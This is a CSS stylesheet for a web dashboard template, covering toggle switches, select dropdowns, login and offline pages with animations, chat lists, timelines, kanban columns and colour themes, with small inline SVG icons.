#cke5-inline-demo .demo-row p { margin-bottom: 0; } #cke5-inline-demo .demo-row h3, #cke5-inline-demo .demo-row .h3 { margin: 0; font-weight: 600; } .switch-demo .custom-switch-v1 { margin-bottom: 4px; } .custom-switch-v1.form-switch { padding-left: 2.9em; } .custom-switch-v1.form-switch .form-check-input { height: 20px; width: 35px; margin-left: -2.9em; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e"); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); box-shadow: 0 0 3px rgba(0, 0, 0, 0.2); } .custom-switch-v1.form-switch .form-check-input[class*="input-light-"] { border: none; } .custom-switch-v1.form-switch .form-check-input:focus { box-shadow: none; border-color: rgba(0, 0, 0, 0.25); } .custom-switch-v1.form-switch .form-check-input:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-light-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%2351459d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #51459d, #9d4591) !important; border-color: #51459d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%236c757d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #6c757d, #746c7d) !important; border-color: #6c757d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%236fd943'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #6fd943, #43d9ad) !important; border-color: #6fd943 !important; } .custom-switch-v1.form-switch .form-check-input.input-light-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%233ec9d6'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #3ec9d6, #4b3ed6) !important; border-color: #3ec9d6 !important; } .custom-switch-v1.form-switch .form-check-input.input-light-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffa21d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #ffa21d, #7aff1d) !important; border-color: #ffa21d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #ff3a6e, #ffcb3a) !important; border-color: #ff3a6e !important; } .custom-switch-v1.form-switch .form-check-input.input-light-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #f8f9fa, #f9f8fa) !important; border-color: #f8f9fa !important; } .custom-switch-v1.form-switch .form-check-input.input-light-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%231c232f'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #1c232f, #281c2f) !important; border-color: #1c232f !important; } .custom-switch-v1 .custom-control-label::before { transition: 0.2s cubic-bezier(0.24, 0, 0.5, 1); height: 20px; width: 35px; border-radius: 0.8rem; top: 0; left: -2.55rem; } .custom-switch-v1 .custom-control-label::after { top: calc(0.15625rem - 2px); left: calc(-2.25rem - 4px); height: 19px; width: 19px; border-radius: 0.7rem; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1), 0 4px 0 0 rgba(0, 0, 0, 0.04), 0 4px 9px rgba(0, 0, 0, 0.13), 0 3px 3px rgba(0, 0, 0, 0.05); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); } .custom-switch-v1 .custom-control-input:checked ~ .custom-control-label::after { transform: translateX(0.95rem); } .row[data-multiselectsplitter-wrapper-selector] select { margin-bottom: 8px; } .choices { position: relative; margin-bottom: 5px; font-size: 16px; } .choices:focus { outline: none; } .choices:last-child { margin-bottom: 0; } .choices.is-disabled .choices__inner, .choices.is-disabled .choices__input { background-color: #e9ecef; cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .choices.is-disabled .choices__item { cursor: not-allowed; } .choices [hidden] { display: none !important; } .choices[data-type*="select-one"] { cursor: pointer; } .choices[data-type*="select-one"] .choices__inner { padding-bottom: 7.5px; } .choices[data-type*="select-one"] .choices__input { display: block; width: 100%; padding: 10px; border-bottom: 1px solid #ced4da; background-color: #ffffff; margin: 0; } .choices[data-type*="select-one"] .choices__button { background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjMDAwIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg=="); padding: 0; background-size: 8px; position: absolute; top: 50%; right: 0; margin-top: -10px; margin-right: 25px; height: 20px; width: 20px; border-radius: 10em; opacity: 0.5; } .choices[data-type*="select-one"] .choices__button:focus, .choices[data-type*="select-one"] .choices__button:hover { opacity: 1; } .choices[data-type*="select-one"] .choices__button:focus { box-shadow: 0 0 0 2px #51459d; } .choices[data-type*="select-one"] .choices__item[data-value=""] .choices__button { display: none; } .choices[data-type*="select-one"]:after { content: ""; height: 0; width: 0; border-style: solid; border-color: #293240 transparent transparent transparent; border-width: 5px; position: absolute; right: 11.5px; top: 50%; margin-top: -2.5px; pointer-events: none; } .choices[data-type*="select-one"].is-open:after { border-color: transparent transparent #293240 transparent; margin-top: -7.5px; } .choices[data-type*="select-one"][dir="rtl"]:after { left: 11.5px; right: auto; } .choices[data-type*="select-one"][dir="rtl"] .choices__button { right: auto; left: 0; margin-left: 25px; margin-right: 0; } .choices[data-type*="select-multiple"] .choices__inner, .choices[data-type*="text"] .choices__inner { cursor: text; } .choices[data-type*="select-multiple"] .choices__button, .choices[data-type*="text"] .choices__button { position: relative; display: inline-block; margin: 0 -4px 0 8px; padding-left: 16px; border-left: 1px solid rgba(255, 255, 255, 0.35); background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjRkZGIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg=="); background-size: 8px; width: 8px; line-height: 1; opacity: 0.75; border-radius: 0; } .choices[data-type*="select-multiple"] .choices__button:focus, .choices[data-type*="select-multiple"] .choices__button:hover, .choices[data-type*="text"] .choices__button:focus, .choices[data-type*="text"] .choices__button:hover { opacity: 1; } .choices__inner { display: inline-block; vertical-align: top; width: 100%; background-color: #ffffff; padding: 7.5px 7.5px 3.75px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; min-height: 44px; overflow: hidden; } .is-focused .choices__inner, .is-open .choices__inner { border-width: 2px; border-color: #51459d; } .is-open .choices__inner { border-radius: 6px 6px 0 0; } .is-flipped.is-open .choices__inner { border-radius: 0 0 6px 6px; } .choices__list { margin: 0; padding-left: 0; list-style: none; } .choices__list--single { display: inline-block; padding: 4px 16px 4px 4px; width: 100%; } [dir="rtl"] .choices__list--single { padding-right: 4px; padding-left: 16px; } .choices__list--single .choices__item { width: 100%; } .choices__list--multiple { display: inline; } .choices__list--multiple .choices__item { display: inline-block; vertical-align: middle; border-radius: 6px; padding: 4px 10px; font-size: 12px; font-weight: 500; margin-right: 3.75px; margin-bottom: 3.75px; background-color: #51459d; border: 1px solid darkslateblue; color: #ffffff; word-break: break-all; box-sizing: border-box; } .choices__list--multiple .choices__item[data-deletable] { padding-right: 5px; } [dir="rtl"] .choices__list--multiple .choices__item { margin-right: 0; margin-left: 3.75px; } .choices__list--multiple .choices__item.is-highlighted { background-color: darkslateblue; border: 1px solid #3f357a; } .is-disabled .choices__list--multiple .choices__item { background-color: #9facb9; border: 1px solid #8293a4; } .choices__list--dropdown { visibility: hidden; z-index: 1; position: absolute; width: 100%; background-color: #ffffff; border: 1px solid #ced4da; top: 100%; margin-top: -1px; border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; overflow: hidden; word-break: break-all; will-change: visibility; } .choices__list--dropdown.is-active { visibility: visible; } .is-open .choices__list--dropdown { border-color: #a2aeb9; } .is-flipped .choices__list--dropdown { top: auto; bottom: 100%; margin-top: 0; margin-bottom: -1px; border-radius: 0.25rem 0.25rem 0 0; } .choices__list--dropdown .choices__list { position: relative; max-height: 300px; overflow: auto; -webkit-overflow-scrolling: touch; will-change: scroll-position; } .choices__list--dropdown .choices__item { position: relative; padding: 10px; font-size: 14px; } [dir="rtl"] .choices__list--dropdown .choices__item { text-align: right; } @media (min-width: 640px) { .choices__list--dropdown .choices__item--selectable { padding-right: 100px; } .choices__list--dropdown .choices__item--selectable:after { content: attr(data-select-text); font-size: 12px; opacity: 0; position: absolute; right: 10px; top: 50%; transform: translateY(-50%); } [dir="rtl"] .choices__list--dropdown .choices__item--selectable { text-align: right; padding-left: 100px; padding-right: 10px; } [dir="rtl"] .choices__list--dropdown .choices__item--selectable:after { right: auto; left: 10px; } } .choices__list--dropdown .choices__item--selectable.is-highlighted { background-color: rgba(81, 69, 157, 0.1); } .choices__list--dropdown .choices__item--selectable.is-highlighted:after { opacity: 0.5; } .choices__item { cursor: default; } .choices__item--selectable { cursor: pointer; } .choices__item--disabled { cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; opacity: 0.5; } .choices__heading { font-weight: 600; font-size: 12px; padding: 10px; border-bottom: 1px solid #ebeef0; color: gray; } .choices__button { text-indent: -9999px; -webkit-appearance: none; -moz-appearance: none; appearance: none; border: 0; background-color: transparent; background-repeat: no-repeat; background-position: center; cursor: pointer; } .choices__button:focus { outline: none; } .choices__input { display: inline-block; vertical-align: baseline; background-color: #ffffff; font-size: 14px; margin-bottom: 0px; border: 0; color: #293240; border-radius: 0; max-width: 100%; padding: 4px 0 4px 2px; } .choices__input:focus { outline: 0; } [dir="rtl"] .choices__input { padding-right: 2px; padding-left: 0; } .choices__placeholder { opacity: 0.5; } .typeahead { position: relative; } .typeahead > ul { background-color: #ffffff; border-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.1); box-shadow: 0 6px 12px rgba(0, 0, 0, 0.17); display: none; float: left; font-size: 14px; left: 0; list-style: none; margin: 2px 0 0; min-width: 170px; padding: 5px 0; position: absolute; text-align: left; top: 100%; z-index: 1000; } .typeahead > ul > li > a { clear: both; color: #333; cursor: default; display: block; font-weight: 400; line-height: 1.42857143; padding: 3px 20px; white-space: nowrap; } .typeahead > ul > li.active > a, .typeahead > ul > li > a:hover { background-color: #3f9bfa; color: #ffffff; text-decoration: none; } .validate-me .error { border-color: #ff3a6e; } .error-message { color: #ff3a6e; } /** ===================== Authentication css start ========================== **/ .auth-wrapper { position: relative; display: flex; align-items: center; justify-content: center; overflow: hidden; min-width: 100%; min-height: 100vh; } @media (min-width: 1200px) { .auth-wrapper .container { max-width: 1140px; } } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper { display: block; margin: 0 auto; } .auth-wrapper > .row { min-height: 100vh; } .auth-wrapper > .row > .aut-bg-img { min-height: 100vh; } } .auth-wrapper .saprator { position: relative; margin: 8px 0; } .auth-wrapper .saprator span { background: #fff; position: relative; padding: 0 10px; z-index: 5; font-size: 20px; } .auth-wrapper .saprator:after { content: ""; position: absolute; top: 15px; left: 0; width: 100%; height: 1px; background: #f1f1f1; z-index: 1; } .auth-wrapper a, .auth-wrapper p > a { color: #525b69; } .auth-wrapper .input-group { background: transparent; } .auth-wrapper .card { margin-bottom: 0; padding: 8px; } .auth-wrapper .card .card-body { padding: 20px 25px 20px 40px; } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper .card { display: block; } } .auth-wrapper > div { z-index: 5; } .auth-wrapper .auth-content { position: relative; padding: 15px; z-index: 5; } .auth-wrapper .auth-content:not(.container) .card-body { padding: 40px 35px; } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper .auth-content { margin: 0 auto; } } .auth-wrapper .navbar { background: #ffffff; border-radius: 10px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .auth-wrapper .auth-content { width: 75vw; min-height: calc(100vh - 40px); display: flex; flex-direction: column; justify-content: space-between; } .auth-wrapper .auth-content .auth-footer .link-light { color: #fff; opacity: 0.7; } .auth-wrapper .auth-content .auth-footer .link-light:hover, .auth-wrapper .auth-content .auth-footer .link-light:focus, .auth-wrapper .auth-content .auth-footer .link-light:active { opacity: 1; } .auth-wrapper .auth-content .card { overflow: hidden; padding: 0; box-shadow: none; background: transparent; } .auth-wrapper .auth-content .card .card-body { display: flex; flex-direction: column; justify-content: space-between; height: 100%; width: 400px; max-width: 100%; } .auth-wrapper .auth-content .card .auth-img-content { margin: 0 0 0 auto; width: 400px; max-width: 100%; } .auth-wrapper .auth-content .img-card-side { position: relative; padding: 0; } .auth-wrapper .auth-content .img-card-side .img-card-side-content { position: absolute; top: 30px; left: 45px; } @media only screen and (max-width: 1199px) { .auth-wrapper .bg-auth-side, .auth-wrapper .auth-img-content, .auth-wrapper .auth-footer { display: none; } .auth-wrapper .auth-content { width: 85vw; } .auth-wrapper .auth-content .auth-footer { display: none; } .auth-wrapper .auth-content .card .card-body { margin: 0 auto; } } @media only screen and (max-width: 992px) { .auth-wrapper .auth-content { width: 95vw; } } @media only screen and (max-width: 767px) { .auth-wrapper .card .card-body { padding: 30px 15px; } } .auth-wrapper.auth-v3 .bg-auth-side { content: ""; top: 20px; left: 50%; right: 20px; bottom: 20px; border-radius: 20px; position: absolute; } .auth-wrapper.auth-v2 .card { overflow: visible; } .auth-wrapper.auth-v2 .bg-auth-side { content: ""; top: 0; left: 50%; right: 0; bottom: 0; border-radius: 0px; position: absolute; transform: skewX(-8deg); transform-origin: bottom; } .auth-wrapper.auth-v2 .auth-img-content { position: relative; height: 50vh; width: 100%; } .auth-wrapper.auth-v2 .img-widget-1, .auth-wrapper.auth-v2 .img-widget-2, .auth-wrapper.auth-v2 .img-widget-3, .auth-wrapper.auth-v2 .img-widget-4 { position: absolute; } .auth-wrapper.auth-v2 .img-widget-1 { top: -25px; left: -110px; width: 300px; animation: widanimx 12s ease-in-out infinite; } .auth-wrapper.auth-v2 .img-widget-2 { bottom: -10%; left: 50%; width: 400px; animation: widanimx 12s ease-in-out infinite; animation-delay: 2.15s; } .auth-wrapper.auth-v2 .img-widget-3 { bottom: -10%; left: -30%; width: 300px; animation: widanimy 12s ease-in-out infinite; } .auth-wrapper.auth-v2 .img-widget-4 { top: -10%; left: 50%; width: 300px; animation: widanimy 12s ease-in-out infinite; animation-delay: 2.15s; } .auth-wrapper.auth-v2 .img-ring { width: 200px; height: 200px; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); border-radius: 50%; background: rgba(255, 255, 255, 0.25); display: flex; align-items: center; justify-content: center; } .auth-wrapper.auth-v2 .img-ring img { width: 100px; } .auth-wrapper.auth-v2 .img-ring:after, .auth-wrapper.auth-v2 .img-ring:before { content: ""; position: absolute; width: 100%; height: 100%; top: 0; left: 0; border-radius: 50%; background: rgba(255, 255, 255, 0.25); } .auth-wrapper.auth-v2 .img-ring:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.auth-v2 .img-ring:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.auth-v1 .navbar { background: transparent; } .auth-wrapper.auth-v1 .card { background: #ffffff; box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); } .auth-wrapper.auth-v1 .bg-auth-side { content: ""; top: 0; left: 0; right: 0; bottom: 40%; position: absolute; } @media only screen and (max-width: 1199px) { .auth-wrapper.auth-v1 .bg-auth-side { display: block; } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } @keyframes widanimx { 0% { transform: translate(25px, 0px); } 50% { transform: translate(-15px, 0px); } 100% { transform: translate(25px, 0px); } } @keyframes widanimy { 0% { transform: translate(0px, 25px); } 50% { transform: translate(0px, -15px); } 100% { transform: translate(0px, 25px); } } /**====== Authentication css end ======**/ /** ===================== Authentication css start ========================== **/ .auth-wrapper.maintance { background: #f8f9fd; } .auth-wrapper.offline { background: radial-gradient(#94acbe, #253653); } .auth-wrapper.offline .offline-wrapper { position: relative; width: 100%; height: 100vh; display: flex; align-items: center; } .auth-wrapper.offline .offline-wrapper > svg { width: 100%; position: absolute; bottom: 0; left: 0; } .auth-wrapper.offline .offline-wrapper .boat-img { animation: boatanim 12s ease-in-out infinite; } .auth-wrapper.offline .s-img-1, .auth-wrapper.offline .s-img-2 { position: absolute; top: 0; left: 0; width: 100%; } .auth-wrapper.offline .s-img-1 { animation: sparcle 3.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .s-img-2 { animation: sparcle 3.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.19s; } .auth-wrapper.offline .moon { background: rgba(255, 255, 255, 0.4); position: absolute; top: 12%; left: 40%; width: 150px; height: 150px; border-radius: 50%; } .auth-wrapper.offline .moon:after, .auth-wrapper.offline .moon:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; top: 0; left: 0; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .auth-wrapper.offline .moon:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .moon:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.offline .sark .img-sark { width: 300px; position: absolute; right: -200px; animation: sark 12s ease-in-out infinite; } .auth-wrapper.offline .sark .bubble { background: rgba(255, 255, 255, 0); position: absolute; top: 12%; left: 60%; width: 30px; height: 30px; border-radius: 50%; animation: bubble 12s ease-in-out infinite; } .auth-wrapper.offline .sark .bubble:after, .auth-wrapper.offline .sark .bubble:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; top: 0; left: 0; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .auth-wrapper.offline .sark .bubble:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .sark .bubble:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.offline .off-main { position: relative; height: 100%; display: flex; align-items: center; } .auth-wrapper.offline .off-main .off-content { position: absolute; width: 100%; bottom: 5%; left: 0; z-index: 5; } @media only screen and (max-width: 575px) { .auth-wrapper.offline .sark { display: none; } .auth-wrapper.offline .offline-wrapper > svg { height: 95%; } .auth-wrapper.offline .off-main .off-content { bottom: 0%; } .auth-wrapper.offline .off-main .off-content h1, .auth-wrapper.offline .off-main .off-content .h1 { font-size: 45px; } .auth-wrapper.offline .moon { top: 12%; width: 50px; height: 50px; } } @keyframes bubble { 0%, 30% { opacity: 0; } 31% { opacity: 1; } 59% { opacity: 1; } 60%, 100% { opacity: 0; } } @keyframes sark { 0% { transform: rotate(-10deg) translate(245px, 46px); } 30% { transform: rotate(-13deg) translate(-329px, -80px); } 60% { transform: rotate(-13deg) translate(-329px, -80px); } 100% { transform: rotate(-26deg) translate(-887px, -80px); } } @keyframes boatanim { 0% { transform: rotate(-10deg) translate(95px, -14px); } 50% { transform: rotate(5deg) translate(-65px, -14px); } 100% { transform: rotate(-10deg) translate(95px, -14px); } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } @keyframes sparcle { 0% { opacity: 0.5; } 50% { opacity: 0; } } /**====== Authentication css end ======**/ /* ===================== page start ======================================= */ .theme-avtar { width: 45px; height: 45px; border-radius: 17.3552px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; flex-shrink: 0; } .conversations-list .img-user { width: 45px; height: 45px; border-radius: 10px; } .conversations-list .list-group-item { cursor: pointer; padding: 16px 16px; border-radius: 10px; transition: all 0.1s ease-in-out; } .conversations-list .list-group-item .btn-link { text-decoration: none !important; transition: all 0.1s ease-in-out; } .conversations-list .list-group-item.active, .conversations-list .list-group-item:hover { color: #fff; } .conversations-list .list-group-item.active h6, .conversations-list .list-group-item.active .h6, .conversations-list .list-group-item.active p, .conversations-list .list-group-item:hover h6, .conversations-list .list-group-item:hover .h6, .conversations-list .list-group-item:hover p { color: #fff; } .conversations-list .list-group-item.active .text-primary, .conversations-list .list-group-item.active .btn-link, .conversations-list .list-group-item:hover .text-primary, .conversations-list .list-group-item:hover .btn-link { color: #fff !important; } .horizontal-scroll-cards { overflow-x: auto; overflow-y: hidden; } .horizontal-scroll-cards::-webkit-scrollbar { height: 6px; opacity: 0; } .horizontal-scroll-cards::-webkit-scrollbar:hover { opacity: 1; } .horizontal-scroll-cards::-webkit-scrollbar-track { background: transparent; } .horizontal-scroll-cards::-webkit-scrollbar-thumb { background: #dcdaeb; } .horizontal-scroll-cards::-webkit-scrollbar-thumb:hover { background: #51459d; } .btn-addnew-project { border: 1px solid #f1f1f1; border-radius: 15px; padding: 20px; display: flex; flex-direction: column; align-items: center; width: 100%; height: calc(100% - 24px); justify-content: center; } .btn-addnew-project .proj-add-icon { width: 35px; height: 35px; border-radius: 10px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; } .btn-addnew-team { text-align: center; } .btn-addnew-team .team-add-icon { margin: 0 auto; width: 50px; height: 50px; border-radius: 50%; padding: 5px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; } .team-lists { text-align: center; } .team-lists > div p { padding: 0 5px; margin-bottom: 0; } .team-lists img { margin: 0 auto; width: 50px; height: 50px; border-radius: 50%; border: 1px solid #51459d; padding: 5px; } .user-group img { position: relative; width: 30px; height: 30px; border-radius: 50%; z-index: 2; transition: all 0.1s ease-in-out; border: 2px solid #ffffff; } .user-group img + img { margin-left: -14px; } .user-group img:hover { z-index: 5; } .team-msg .img-user { width: 45px; height: 45px; border-radius: 10px; } .team-msg .list-group-item { padding-left: 0; padding-right: 0; } .form-send { position: relative; } .form-send .form-control, .form-send .custom-select, .form-send .dataTable-selector, .form-send .dataTable-input { position: relative; z-index: 1; padding-right: 60px; } .form-send .btn-send { position: absolute; right: 0; top: 0; bottom: 0; left: auto; z-index: 5; } .form-editor .CodeMirror { padding-bottom: 0; } .form-editor .CodeMirror, .form-editor .CodeMirror-scroll { min-height: auto !important; } .timeline-wrapper { position: relative; flex-wrap: nowrap; text-align: center; overflow-x: auto; padding-bottom: 20px; } .timeline-wrapper::-webkit-scrollbar { height: 6px; opacity: 0; } .timeline-wrapper::-webkit-scrollbar:hover { opacity: 1; } .timeline-wrapper::-webkit-scrollbar-track { background: transparent; } .timeline-wrapper::-webkit-scrollbar-thumb { background: #dcdaeb; } .timeline-wrapper::-webkit-scrollbar-thumb:hover { background: #51459d; } .timeline-wrapper .timeline-icons { font-size: 30px; position: relative; z-index: 5; } .timeline-wrapper .timeline-icons:before, .timeline-wrapper .timeline-icons:after { content: ""; height: 2px; background: #e4e8f7; width: calc(50% - 16px); position: absolute; top: 22px; z-index: 1; } .timeline-wrapper .timeline-icons:after { left: -12px; } .timeline-wrapper .timeline-icons:before { right: -12px; } .timeline-wrapper .timeline-icons .timeline-dots { position: absolute; top: 22px; width: 50px; } .timeline-wrapper .timeline-icons .timeline-dots:before, .timeline-wrapper .timeline-icons .timeline-dots:after { content: ""; border: 3px solid #e4e8f7; position: absolute; top: -2px; z-index: 7; transform: rotate(45deg); } .timeline-wrapper .timeline-icons .timeline-dots:after { left: -6px; } .timeline-wrapper .timeline-icons .timeline-dots:before { right: -6px; } .timeline-wrapper .timeline-icons i { display: inline-block; width: 50px; position: relative; z-index: 5; } .timeline-wrapper > div:first-child .timeline-icons::after, .timeline-wrapper > div:first-child .timeline-icons .timeline-dots::after { display: none; } .timeline-wrapper > div:last-child .timeline-icons::before, .timeline-wrapper > div:last-child .timeline-icons .timeline-dots::before { display: none; } .kanban-wrapper { position: relative; flex-wrap: nowrap; } .kanban-wrapper .card { position: relative; } .kanban-wrapper > .col { width: 390px; flex: 0 0 auto; } .btn-chk-work { text-align: center; justify-content: center; } .btn-chk-work .btn { margin-bottom: 14px; padding: 45px 50px; } .btn-chk-work .btn i { font-size: 55px; } @media screen and (max-width: 768px) { .btn-chk-work .btn { padding: 14px 16px; } .btn-chk-work .btn i { font-size: 40px; } } .event-cards .card { padding: 12px; border-radius: 20px; } .product-slider .carousel-indicators { margin-left: 0; margin-right: 0; margin-top: 20px; } .product-slider .carousel-indicators [data-bs-target] { margin-left: 8px; margin-right: 8px; } .product-slider .carousel-indicators img { width: 100%; } .product-slider img { border-radius: 15px; } body.theme-1 .conversations-list .list-group-item .btn-link { color: #0CAF60; } body.theme-1 .conversations-list .list-group-item.active, body.theme-1 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; } body.theme-1 .team-lists img { border-color: #0CAF60; } body.theme-3 .conversations-list .list-group-item .btn-link { color: #6FD943; } body.theme-3 .conversations-list .list-group-item.active, body.theme-3 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; } body.theme-3 .team-lists img { border-color: #6FD943; } body.theme-2 .conversations-list .list-group-item .btn-link { color: #584ED2; } body.theme-2 .conversations-list .list-group-item.active, body.theme-2 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; } body.theme-2 .team-lists img { border-color: #584ED2; } body.theme-4 .conversations-list .list-group-item .btn-link { color: #145388; } body.theme-4 .conversations-list .list-group-item.active, body.theme-4 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; } body.theme-4 .team-lists img { border-color: #145388; } body.theme-5 .conversations-list .list-group-item .btn-link { color: #B9406B; } 